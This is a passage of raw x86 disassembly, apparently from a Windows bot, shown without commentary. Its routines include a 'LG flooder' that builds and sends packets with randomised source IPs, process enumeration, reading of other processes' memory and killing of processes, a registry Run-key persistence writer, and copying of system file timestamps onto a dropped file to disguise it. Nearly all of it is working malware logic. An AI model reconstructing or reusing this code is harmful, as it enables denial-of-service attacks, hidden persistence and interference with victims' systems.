ecx movzx eax, ax pop ecx push eax lea eax, [ebp+var_131C] push offset aU ; "%u\r\n" push eax call sub_4114DC ; sprintf lea eax, [ebp+var_131C] push eax call sub_4114BE ; strlen add esp, 10h loc_4041A3: ; CODE XREF: sub_403EA9+368j cmp eax, 7D0h push edi push 0 jnb short loc_404213 call sub_40B459 pop ecx movzx eax, ax pop ecx push eax push edi push 0 call sub_40B459 pop ecx movzx eax, al pop ecx push eax push edi push 0 call sub_40B459 pop ecx movzx eax, al pop ecx push eax push edi push 0 call sub_40B459 pop ecx movzx eax, al pop ecx push eax push edi lea eax, [ebp+var_131C] push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push eax call sub_4114BE ; strlen pop ecx lea eax, [ebp+eax+var_131C] push eax call sub_4114DC ; sprintf lea eax, [ebp+var_131C] push eax call sub_4114BE ; strlen add esp, 20h jmp short loc_4041A3 ; --------------------------------------------------------------------------- loc_404213: ; CODE XREF: sub_403EA9+261j ; sub_403EA9+302j call sub_40B459 pop ecx movzx eax, ax pop ecx push eax push edi push 0 call sub_40B459 pop ecx movzx eax, al pop ecx push eax push edi push 0 call sub_40B459 pop ecx movzx eax, al pop ecx push eax push edi push 0 call sub_40B459 pop ecx movzx eax, al pop ecx push eax push edi jmp loc_404332 ; --------------------------------------------------------------------------- loc_40424E: ; CODE XREF: sub_403EA9+138j push ebx push edi call sub_40B459 pop ecx movzx eax, ax pop ecx push eax lea eax, [ebp+var_131C] push offset aU ; "%u\r\n" push eax call sub_4114DC ; sprintf lea eax, [ebp+var_131C] push eax call sub_4114BE ; strlen add esp, 10h loc_40427B: ; CODE XREF: sub_403EA9+448j cmp eax, 7D0h push ebx push edi jnb short loc_4042F3 call sub_40B459 pop ecx movzx eax, ax pop ecx push eax push esi push edi call sub_40B459 pop ecx movzx eax, al pop ecx push eax push esi push edi call sub_40B459 pop ecx movzx eax, al pop ecx push eax push esi push edi call sub_40B459 pop ecx movzx eax, al pop ecx push eax push esi push edi call sub_40B459 pop ecx movzx eax, al pop ecx push eax lea eax, [ebp+var_131C] push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push eax call sub_4114BE ; strlen pop ecx lea eax, [ebp+eax+var_131C] push eax call sub_4114DC ; sprintf lea eax, [ebp+var_131C] push eax call sub_4114BE ; strlen add esp, 20h jmp short loc_40427B ; --------------------------------------------------------------------------- loc_4042F3: ; CODE XREF: sub_403EA9+1B9j ; sub_403EA9+3D9j call sub_40B459 pop ecx movzx eax, ax pop ecx push eax push esi push edi call sub_40B459 pop ecx movzx eax, al pop ecx push eax push esi push edi call sub_40B459 pop ecx movzx eax, al pop ecx push eax push esi push edi call sub_40B459 pop ecx movzx eax, al pop ecx push eax push esi push edi call sub_40B459 pop ecx movzx eax, al pop ecx push eax loc_404332: ; CODE XREF: sub_403EA9+3A0j lea eax, [ebp+var_131C] push offset dword_413A68 push eax call sub_4114BE ; strlen pop ecx lea eax, [ebp+eax+var_131C] push eax call sub_4114DC ; sprintf add esp, 1Ch loc_404354: ; CODE XREF: sub_403EA9+178j lea eax, [ebp+var_131C] push eax call sub_4114BE ; strlen xor edx, edx pop ecx test eax, eax mov [ebp+arg_0], eax jbe short loc_404384 loc_40436A: ; CODE XREF: sub_403EA9+4D9j mov al, [ebp+edx+var_131C] lea ecx, [ebp+edx+var_131C] shl al, 1 mov [ecx], al mov eax, [ebp+arg_0] inc edx cmp edx, eax jb short loc_40436A loc_404384: ; CODE XREF: sub_403EA9+4BFj add eax, 1Ch push eax call dword_412248 ; htons mov [ebp+var_1336], ax call sub_40B493 push eax call dword_412248 ; htons mov [ebp+var_1334], ax call sub_40B4C3 neg eax sbb al, al push 2 and al, 0C0h push offset dword_41A2E8 add al, 80h mov [ebp+var_1330], al call dword_412254 ; inet_addr push eax call sub_4031A7 mov [ebp+var_132C], eax mov eax, [ebp+arg_0] add eax, 14h push eax lea eax, [ebp+var_1338] push eax call sub_40315E add esp, 10h cmp [ebp+var_16], 0 mov [ebp+var_132E], ax jnz short loc_404404 call sub_40B493 mov [ebp+var_1322], ax loc_404404: ; CODE XREF: sub_403EA9+54Dj push ebx push edi call sub_40B459 pop ecx pop ecx push eax call dword_412248 ; htons mov [ebp+var_1324], ax mov eax, [ebp+arg_0] add eax, 8 push eax call dword_412248 ; htons mov [ebp+var_1320], ax lea eax, [ebp+var_18] push 10h push eax mov eax, [ebp+arg_0] push 0 add eax, 1Ch push eax lea eax, [ebp+var_1338] push eax push [ebp+var_4] call dword_412260 ; sendto cmp eax, 0FFFFFFFFh jz short loc_404495 push [ebp+var_27] call dword_4120A4 ; Sleep mov eax, [ebp+var_2D8] cmp dword ptr [eax+4], 0 jnz short loc_404477 inc [ebp+var_8] mov eax, [ebp+var_8] cmp eax, [ebp+var_2B] jl loc_403FDD loc_404477: ; CODE XREF: sub_403EA9+129j ; sub_403EA9+5BDj push [ebp+var_4] call sub_403D92 push [ebp+var_2D8] call sub_406E6F loc_40448A: ; CODE XREF: sub_403EA9+5FFj pop ecx loc_40448B: ; CODE XREF: sub_403EA9+DAj pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_404495: ; CODE XREF: sub_403EA9+5A8j push [ebp+var_2D8] call sub_406E6F push [ebp+var_4] call sub_403D92 jmp short loc_40448A sub_403EA9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4044AA proc near ; CODE XREF: sub_407A76+582p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp cmp [ebp+arg_4], 0 push esi jz loc_404579 cmp [ebp+arg_8], 0 jz loc_404579 cmp [ebp+arg_14], 0 jz loc_404579 push 2B9h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz loc_404579 push [ebp+arg_0] lea eax, [esi+4] push eax call sub_40457C push 100h lea eax, [esi+1A7h] push [ebp+arg_4] push eax call sub_4059C2 push 6 lea eax, [esi+2A7h] push [ebp+arg_8] push eax call sub_4059C2 push [ebp+arg_C] call sub_41151C ; atoi push [ebp+arg_10] mov [esi+2ADh], eax call sub_41151C ; atoi push [ebp+arg_14] mov [esi+2B1h], eax call sub_41151C ; atoi mov ecx, [esi+2B1h] mov [esi+2B5h], eax mov eax, 0EA60h add esp, 2Ch cmp ecx, eax jge short loc_404550 mov eax, ecx loc_404550: ; CODE XREF: sub_4044AA+A2j cmp eax, 64h mov [esi+2B1h], eax jg short loc_40455E push 64h pop eax loc_40455E: ; CODE XREF: sub_4044AA+AFj push offset aLgFlooder ; "LG flooder" push 0 push esi push offset sub_403EA9 mov [esi+2B1h], eax call sub_406D58 add esp, 10h loc_404579: ; CODE XREF: sub_4044AA+8j ; sub_4044AA+12j ... pop esi pop ebp retn sub_4044AA endp ; =============== S U B R O U T I N E ======================================= sub_40457C proc near ; CODE XREF: sub_4014B0+53p ; sub_4018D5+64p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_4], 0 jnz short loc_4045A1 push esi mov esi, [esp+4+arg_0] push 1A3h push 0 push esi call sub_4114E8 ; memset add esp, 0Ch mov byte ptr [esi+198h], 1 pop esi retn ; --------------------------------------------------------------------------- loc_4045A1: ; CODE XREF: sub_40457C+5j push 1A3h push [esp+4+arg_4] push [esp+8+arg_0] call sub_4114D0 ; memcpy add esp, 0Ch retn sub_40457C endp ; =============== S U B R O U T I N E ======================================= sub_4045B7 proc near ; CODE XREF: sub_4111E8+BDp var_8 = dword ptr -8 push edi push offset dword_419650 call sub_4071D2 mov [esp+8+var_8], offset aPsapi_dll ; "psapi.dll" call dword_41205C ; LoadLibraryA mov edi, eax test edi, edi jz short loc_404637 push esi mov esi, dword_412060 push offset aEnumprocesses ; "EnumProcesses" push edi call esi ; GetProcAddress push offset aEnumprocessmod ; "EnumProcessModules" push edi mov dword_41964C, eax call esi ; GetProcAddress push offset aGetmodulefilen ; "GetModuleFileNameExA" push edi mov dword_419640, eax call esi ; GetProcAddress push offset aGetmoduleinfor ; "GetModuleInformation" push edi mov dword_419644, eax call esi ; GetProcAddress cmp dword_41964C, 0 mov dword_419648, eax pop esi jz short loc_404637 cmp dword_419640, 0 jz short loc_404637 cmp dword_419644, 0 jz short loc_404637 test eax, eax jz short loc_404637 mov byte_41966C, 1 loc_404637: ; CODE XREF: sub_4045B7+1Cj ; sub_4045B7+61j ... pop edi retn sub_4045B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404639 proc near ; CODE XREF: sub_4011C4+56p ; sub_40485F+2Ap var_125 = byte ptr -125h var_124 = byte ptr -124h var_123 = byte ptr -123h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 124h push ebx push esi push edi push offset dword_419650 call sub_407200 cmp byte_41966C, 0 pop ecx jnz short loc_404660 loc_404659: ; CODE XREF: sub_404639+35j ; sub_404639+4Cj ... xor esi, esi jmp loc_404842 ; --------------------------------------------------------------------------- loc_404660: ; CODE XREF: sub_404639+1Ej and [ebp+var_14], 0 push 0 call sub_4114C4 ; malloc test eax, eax pop ecx jz short loc_404659 mov esi, 80h push esi mov ebx, esi push eax loc_404679: ; CODE XREF: sub_404639+6Dj call sub_411576 ; realloc pop ecx mov [ebp+var_4], eax test eax, eax pop ecx jz short loc_404659 lea eax, [ebp+var_14] push eax push ebx push [ebp+var_4] call dword_41964C test eax, eax jz short loc_4046C6 mov edi, [ebp+var_14] cmp edi, ebx jb short loc_4046A8 add ebx, esi push ebx push [ebp+var_4] jmp short loc_404679 ; --------------------------------------------------------------------------- loc_4046A8: ; CODE XREF: sub_404639+65j shr edi, 2 mov eax, edi mov [ebp+var_10], edi imul eax, 114h add eax, 8 push eax call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jnz short loc_4046D1 loc_4046C6: ; CODE XREF: sub_404639+5Ej push [ebp+var_4] call sub_4114CA ; free pop ecx jmp short loc_404659 ; --------------------------------------------------------------------------- loc_4046D1: ; CODE XREF: sub_404639+8Bj lea eax, [esi+8] mov [esi], edi test edi, edi mov [esi+4], eax jbe short loc_404726 mov eax, [ebp+var_4] xor ebx, ebx mov [ebp+var_8], eax mov [ebp+var_C], edi loc_4046E8: ; CODE XREF: sub_404639+E8j mov edi, 114h push edi push 0 push dword ptr [esi+4] call sub_4114E8 ; memset mov ecx, [ebp+var_8] mov eax, [esi+4] push offset aSystem ; "system" mov ecx, [ecx] mov [ebx+eax], ecx mov eax, [esi+4] lea eax, [ebx+eax+0Ch] push eax call sub_4114B8 ; _mbscpy add [ebp+var_8], 4 add esp, 14h add ebx, edi dec [ebp+var_C] jnz short loc_4046E8 mov edi, [ebp+var_10] loc_404726: ; CODE XREF: sub_404639+A2j push [ebp+var_4] call sub_4114CA ; free test edi, edi pop ecx jbe loc_404842 xor ebx, ebx mov [ebp+var_4], edi loc_40473C: ; CODE XREF: sub_404639+203j mov eax, [esi+4] push dword ptr [ebx+eax] push 0 push 410h call dword_41209C ; OpenProcess mov edi, eax test edi, edi mov [ebp+var_8], edi jz loc_404833 and [ebp+var_10], 0 and [ebp+var_C], 0 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C] push 4 push eax push edi call dword_419640 test eax, eax jnz short loc_40477F push edi jmp loc_40482D ; --------------------------------------------------------------------------- loc_40477F: ; CODE XREF: sub_404639+13Ej lea eax, [ebp+var_20] push 0Ch push eax push [ebp+var_C] push edi call dword_419648 mov eax, [esi+4] mov ecx, [ebp+var_20] push 40h lea edi, [ebp+var_123] mov [ebx+eax+4], ecx mov eax, [esi+4] mov ecx, [ebp+var_1C] mov [ebx+eax+8], ecx mov al, byte_4191D0 mov [ebp+var_124], al pop ecx xor eax, eax rep stosd stosw stosb mov edi, 104h lea eax, [ebp+var_124] push edi push eax push [ebp+var_20] push [ebp+var_8] call dword_419644 test eax, eax jz short loc_40482A cmp [ebp+var_124], 0 jz short loc_40482A lea eax, [ebp+var_124] push edi push eax mov eax, [esi+4] lea eax, [ebx+eax+0Ch] push eax call sub_4114D6 ; strncpy lea eax, [ebp+var_124] push eax call sub_4114BE ; strlen add esp, 10h test eax, eax jz short loc_40482A loc_40480C: ; CODE XREF: sub_404639+1E3j cmp eax, 1 jbe short loc_40482A cmp [ebp+eax+var_125], 5Ch jz short loc_404820 dec eax jnz short loc_40480C jmp short loc_40482A ; --------------------------------------------------------------------------- loc_404820: ; CODE XREF: sub_404639+1E0j mov ecx, [esi+4] mov [ebx+ecx+110h], eax loc_40482A: ; CODE XREF: sub_404639+1A0j ; sub_404639+1A9j ... push [ebp+var_8] loc_40482D: ; CODE XREF: sub_404639+141j call dword_4120AC ; CloseHandle loc_404833: ; CODE XREF: sub_404639+11Dj add ebx, 114h dec [ebp+var_4] jnz loc_40473C loc_404842: ; CODE XREF: sub_404639+22j ; sub_404639+F8j push offset dword_419650 call sub_40720B pop ecx mov eax, esi pop edi pop esi pop ebx leave retn sub_404639 endp ; =============== S U B R O U T I N E ======================================= sub_404854 proc near ; CODE XREF: sub_4011C4+27Bp arg_0 = dword ptr 4 push [esp+arg_0] call sub_4114CA ; free pop ecx retn sub_404854 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40485F proc near ; DATA XREF: sub_40491E+2Fo var_1A8 = dword ptr -1A8h var_1A4 = byte ptr -1A4h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A8h push esi push edi push 1A7h lea eax, [ebp+var_1A8] push [ebp+arg_0] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free add esp, 10h call sub_404639 mov esi, eax xor edi, edi cmp esi, edi jz short loc_40490A mov eax, [ebp+var_1A8] push ebx push dword ptr [esi] push dword ptr [eax] lea eax, [ebp+var_1A4] push offset dword_413B24 push eax call sub_4096CB add esp, 10h xor ebx, ebx cmp [esi], edi jle short loc_404902 loc_4048BB: ; CODE XREF: sub_40485F+A1j push 3E8h call dword_4120A4 ; Sleep mov eax, [esi+4] add eax, edi lea ecx, [eax+0Ch] push ecx push dword ptr [eax+8] push dword ptr [eax+4] push dword ptr [eax] lea eax, [ebp+var_1A4] push offset dword_413B0C push eax call sub_4096CB mov eax, [ebp+var_1A8] add esp, 18h cmp dword ptr [eax+4], 0 jnz short loc_404902 inc ebx add edi, 114h cmp ebx, [esi] jl short loc_4048BB loc_404902: ; CODE XREF: sub_40485F+5Aj ; sub_40485F+96j push esi call sub_4114CA ; free pop ecx pop ebx loc_40490A: ; CODE XREF: sub_40485F+35j push [ebp+var_1A8] call sub_406E6F pop ecx pop edi xor eax, eax pop esi leave retn 4 sub_40485F endp ; =============== S U B R O U T I N E ======================================= sub_40491E proc near ; CODE XREF: sub_407A76+2B1p arg_0 = dword ptr 4 push esi push 1A7h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_40495A push 1A3h lea eax, [esi+4] push [esp+8+arg_0] push eax call sub_4114D0 ; memcpy add esp, 0Ch push offset dword_413B4C push 0 push esi push offset sub_40485F call sub_406D58 add esp, 10h loc_40495A: ; CODE XREF: sub_40491E+10j pop esi retn sub_40491E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40495C proc near ; CODE XREF: sub_407A76+621p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx push esi push edi jz loc_404A2E cmp [ebp+arg_C], 0 jz loc_404A2E push [ebp+arg_4] call sub_41151C ; atoi push [ebp+arg_8] mov ebx, eax call sub_4079AC push [ebp+arg_C] mov [ebp+arg_8], eax call sub_41151C ; atoi mov esi, eax mov eax, 180h add esp, 0Ch cmp esi, eax jbe short loc_4049A3 mov esi, eax loc_4049A3: ; CODE XREF: sub_40495C+43j lea eax, [esi+1] push eax call sub_4114C4 ; malloc pop ecx mov edi, eax push ebx xor ebx, ebx push ebx push 10h call dword_41209C ; OpenProcess cmp eax, ebx mov [ebp+arg_C], eax jnz short loc_4049CB push edi call sub_4114CA ; free pop ecx jmp short loc_404A2E ; --------------------------------------------------------------------------- loc_4049CB: ; CODE XREF: sub_40495C+64j lea ecx, [ebp+arg_4] mov [ebp+arg_4], ebx push ecx push esi push edi push [ebp+arg_8] push eax call dword_4120A0 ; ReadProcessMemory test eax, eax jz short loc_404A1E cmp [ebp+arg_4], ebx jz short loc_404A1E and byte ptr [edi+esi], 0 xor ecx, ecx cmp [ebp+arg_4], ebx jbe short loc_404A13 loc_4049F2: ; CODE XREF: sub_40495C+B5j mov al, [ecx+edi] cmp al, 0Ah jz short loc_404A09 cmp al, 0Dh jz short loc_404A09 cmp al, 1Fh jz short loc_404A09 cmp al, 16h jz short loc_404A09 cmp al, 10h jg short loc_404A0D loc_404A09: ; CODE XREF: sub_40495C+9Bj ; sub_40495C+9Fj ... mov byte ptr [ecx+edi], 2Eh loc_404A0D: ; CODE XREF: sub_40495C+ABj inc ecx cmp ecx, [ebp+arg_4] jb short loc_4049F2 loc_404A13: ; CODE XREF: sub_40495C+94j push edi push [ebp+arg_0] call sub_4096CB pop ecx pop ecx loc_404A1E: ; CODE XREF: sub_40495C+84j ; sub_40495C+89j push edi call sub_4114CA ; free pop ecx push [ebp+arg_C] call dword_4120AC ; CloseHandle loc_404A2E: ; CODE XREF: sub_40495C+Aj ; sub_40495C+14j ... pop edi pop esi pop ebx pop ebp retn sub_40495C endp ; =============== S U B R O U T I N E ======================================= sub_404A33 proc near ; CODE XREF: sub_407A76+298p arg_4 = dword ptr 8 cmp [esp+arg_4], 0 push esi jz short loc_404A6E push [esp+4+arg_4] call sub_41151C ; atoi pop ecx mov esi, eax call dword_4120F0 cmp esi, eax jz short loc_404A6E push esi push 0 push 1 call dword_41209C ; OpenProcess mov esi, eax push 0 push esi call dword_4120A8 ; TerminateProcess push esi call dword_4120AC ; CloseHandle loc_404A6E: ; CODE XREF: sub_404A33+6j ; sub_404A33+1Cj pop esi retn sub_404A33 endp ; =============== S U B R O U T I N E ======================================= sub_404A70 proc near ; CODE XREF: sub_402EFD+10Bp ; sub_407A76+94p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] xor esi, esi loc_404A78: ; CODE XREF: sub_404A70+1Aj push 7Ah push 61h call sub_40B459 mov [esi+edi], al inc esi pop ecx cmp esi, 8 pop ecx jl short loc_404A78 and byte ptr [edi+8], 0 mov edi, [esp+8+arg_4] xor esi, esi loc_404A96: ; CODE XREF: sub_404A70+38j push 7Ah push 61h call sub_40B459 mov [esi+edi], al inc esi pop ecx cmp esi, 6 pop ecx jl short loc_404A96 and byte ptr [edi+6], 0 mov edi, [esp+8+arg_8] xor esi, esi loc_404AB4: ; CODE XREF: sub_404A70+56j push 7Ah push 61h call sub_40B459 mov [esi+edi], al inc esi pop ecx cmp esi, 10h pop ecx jl short loc_404AB4 and byte ptr [edi+10h], 0 pop edi pop esi retn sub_404A70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404ACF proc near ; CODE XREF: sub_407A76+962p var_414 = byte ptr -414h var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 414h push ebx push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_404CFB cmp byte ptr [edi+4], 5Ch jnz loc_404CFB push 4 pop esi push esi push offset aHkcr ; "HKCR" push edi call sub_411930 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_404B0F mov [ebp+arg_4], 80000000h jmp short loc_404B65 ; --------------------------------------------------------------------------- loc_404B0F: ; CODE XREF: sub_404ACF+35j push esi push offset aHkcu ; "HKCU" push edi call sub_411930 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_404B2B mov [ebp+arg_4], 80000001h jmp short loc_404B65 ; --------------------------------------------------------------------------- loc_404B2B: ; CODE XREF: sub_404ACF+51j push esi push offset aHklm ; "HKLM" push edi call sub_411930 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_404B47 mov [ebp+arg_4], 80000002h jmp short loc_404B65 ; --------------------------------------------------------------------------- loc_404B47: ; CODE XREF: sub_404ACF+6Dj push esi push offset aHkus ; "HKUS" push edi call sub_411930 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_404CFB mov [ebp+arg_4], 80000003h loc_404B65: ; CODE XREF: sub_404ACF+3Ej ; sub_404ACF+5Aj ... add edi, 5 push edi call sub_4114BE ; strlen mov esi, eax pop ecx test esi, esi jz loc_404CFB loc_404B79: ; CODE XREF: sub_404ACF+B1j cmp byte ptr [esi+edi], 5Ch jz short loc_404B87 dec esi jnz short loc_404B79 jmp loc_404CFB ; --------------------------------------------------------------------------- loc_404B87: ; CODE XREF: sub_404ACF+AEj lea eax, [esi+edi+1] push eax call sub_4114BE ; strlen mov ebx, 200h pop ecx cmp eax, ebx jnb loc_404CFB lea eax, [esi+edi+1] push eax lea eax, [ebp+var_414] push eax call sub_4114B8 ; _mbscpy pop ecx cmp esi, ebx pop ecx jnb loc_404CFB push esi lea eax, [ebp+var_214] push edi push eax call sub_4114D0 ; memcpy add esp, 0Ch lea eax, [ebp+var_14] and [ebp+esi+var_214], 0 push eax push 1 lea eax, [ebp+var_214] push 0 push eax push [ebp+arg_4] call dword_412000 test eax, eax jnz loc_404CFB mov eax, 1000h push eax mov [ebp+var_C], eax call sub_4114C4 ; malloc mov esi, eax pop ecx lea eax, [ebp+var_C] mov [ebp+var_10], esi push eax lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_414] push 0 push eax push [ebp+var_14] call dword_41200C test eax, eax jnz loc_404CEB cmp [ebp+var_8], 1 mov ebx, offset dword_413B6C jz short loc_404C3B cmp [ebp+var_8], 2 jnz short loc_404C48 loc_404C3B: ; CODE XREF: sub_404ACF+164j push esi push ebx push [ebp+arg_0] call sub_4096CB add esp, 0Ch loc_404C48: ; CODE XREF: sub_404ACF+16Aj cmp [ebp+var_8], 4 jnz short loc_404C60 push dword ptr [esi] push offset dword_413B64 push [ebp+arg_0] call sub_4096CB add esp, 0Ch loc_404C60: ; CODE XREF: sub_404ACF+17Dj cmp [ebp+var_8], 3 jnz loc_404CEB mov edi, 180h push edi call sub_4114C4 ; malloc and [ebp+var_4], 0 mov esi, eax pop ecx and byte ptr [esi], 0 cmp [ebp+var_C], 0 jbe short loc_404CD5 loc_404C85: ; CODE XREF: sub_404ACF+204j mov eax, [ebp+var_10] mov ecx, [ebp+var_4] movzx eax, byte ptr [ecx+eax] push eax lea eax, [ebp+arg_4] push offset dword_413B5C push eax call sub_4114DC ; sprintf push esi call sub_4114BE ; strlen add eax, 3 add esp, 10h cmp eax, edi jb short loc_404CBE push esi push ebx push [ebp+arg_0] call sub_4096CB add esp, 0Ch and byte ptr [esi], 0 loc_404CBE: ; CODE XREF: sub_404ACF+1DDj lea eax, [ebp+arg_4] push eax push esi call sub_4114EE ; _mbscat inc [ebp+var_4] pop ecx mov eax, [ebp+var_4] pop ecx cmp eax, [ebp+var_C] jb short loc_404C85 loc_404CD5: ; CODE XREF: sub_404ACF+1B4j push esi push ebx push [ebp+arg_0] call sub_4096CB push esi call sub_4114CA ; free mov esi, [ebp+var_10] add esp, 10h loc_404CEB: ; CODE XREF: sub_404ACF+155j ; sub_404ACF+195j push esi call sub_4114CA ; free pop ecx push [ebp+var_14] call dword_412028 loc_404CFB: ; CODE XREF: sub_404ACF+11j ; sub_404ACF+1Bj ... pop edi pop esi pop ebx leave retn sub_404ACF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D00 proc near ; CODE XREF: sub_409277:loc_4093C8p ; sub_409918:loc_409BBEp var_208 = byte ptr -208h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 208h push esi lea eax, [ebp+var_104] push 104h push eax call dword_412054 ; GetSystemDirectoryA lea eax, [ebp+var_104] push offset dword_413DEC push eax call sub_4114EE ; _mbscat lea eax, [ebp+var_208] push offset dword_418FDC push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_208] push eax call sub_40B5E1 lea eax, [ebp+var_208] push eax lea eax, [ebp+var_104] push eax call sub_4114EE ; _mbscat add esp, 1Ch lea eax, [ebp+var_104] push eax call dword_4120B8 ; DeleteFileA lea eax, [ebp+var_104] push offset dword_4132AC push eax call sub_411506 ; fopen mov esi, eax pop ecx test esi, esi pop ecx jz short loc_404DAA push esi push 1 push 2 push offset dword_413DE8 call sub_4114FA ; fwrite push esi call sub_411500 ; fclose lea eax, [ebp+var_104] push eax call sub_404E31 add esp, 18h loc_404DAA: ; CODE XREF: sub_404D00+84j pop esi leave retn sub_404D00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404DAD proc near ; CODE XREF: sub_409277+117p ; sub_409918+26Cp var_208 = byte ptr -208h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 208h lea eax, [ebp+var_104] push 104h push eax call dword_412054 ; GetSystemDirectoryA lea eax, [ebp+var_104] push offset dword_413DEC push eax call sub_4114EE ; _mbscat lea eax, [ebp+var_208] push offset dword_418FDC push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_208] push eax call sub_40B5E1 lea eax, [ebp+var_208] push eax lea eax, [ebp+var_104] push eax call sub_4114EE ; _mbscat lea eax, [ebp+var_104] push offset aRb ; "rb" push eax call sub_411506 ; fopen add esp, 24h test eax, eax jz short loc_404E2D push eax call sub_411500 ; fclose pop ecx push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_404E2D: ; CODE XREF: sub_404DAD+72j xor eax, eax leave retn sub_404DAD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404E31 proc near ; CODE XREF: sub_404D00+A2p ; sub_4050D1+1B5p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi push edi lea eax, [ebp+var_11C] push 104h push eax call dword_412044 ; GetWindowsDirectoryA lea eax, [ebp+var_11C] push offset dword_413DF0 push eax call sub_4114EE ; _mbscat pop ecx mov esi, dword_412048 pop ecx mov edi, 80h push 0 push edi push 3 push 0 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_404ED7 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call dword_41204C ; GetFileTime push ebx mov ebx, dword_4120AC call ebx ; CloseHandle push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_404ED7 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call dword_412050 ; SetFileTime push esi call ebx ; CloseHandle loc_404ED7: ; CODE XREF: sub_404E31+58j ; sub_404E31+8Ej pop edi pop esi pop ebx leave retn sub_404E31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404EDC proc near ; CODE XREF: sub_4050D1+139p ; sub_4050D1+16Fp ... var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 108h push esi xor esi, esi lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call dword_412014 cmp [ebp+arg_0], esi jz short loc_404F67 lea eax, [ebp+var_108] push 104h push eax call dword_412054 ; GetSystemDirectoryA lea eax, [ebp+var_108] push offset dword_413DEC push eax call sub_4114EE ; _mbscat push [ebp+arg_8] lea eax, [ebp+var_108] push eax call sub_4114EE ; _mbscat add esp, 10h lea eax, [ebp+var_108] push eax call dword_412040 ; lstrlen inc eax push eax lea eax, [ebp+var_108] push eax push 1 push esi push [ebp+arg_4] push [ebp+var_4] call dword_412010 jmp short loc_404F73 ; --------------------------------------------------------------------------- loc_404F67: ; CODE XREF: sub_404EDC+2Dj push [ebp+arg_4] push [ebp+var_4] call dword_412004 loc_404F73: ; CODE XREF: sub_404EDC+89j push [ebp+var_4] call dword_412028 pop esi leave retn sub_404EDC endp ; =============== S U B R O U T I N E ======================================= sub_404F7F proc near ; CODE XREF: sub_404FA8+2Bp ; sub_4050D1+1C1p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi push esi mov edi, esi call sub_4114BE ; strlen pop ecx xor ecx, ecx test eax, eax jbe short loc_404FA3 loc_404F94: ; CODE XREF: sub_404F7F+22j cmp byte ptr [ecx+esi], 5Ch jnz short loc_404F9E lea edi, [ecx+esi+1] loc_404F9E: ; CODE XREF: sub_404F7F+19j inc ecx cmp ecx, eax jb short loc_404F94 loc_404FA3: ; CODE XREF: sub_404F7F+13j mov eax, edi pop edi pop esi retn sub_404F7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FA8 proc near ; CODE XREF: sub_4050D1+Cp ; sub_4052DF+Cp var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 104h lea eax, [ebp+var_104] push 104h push eax push 0 call dword_412094 ; GetModuleHandleA push eax call 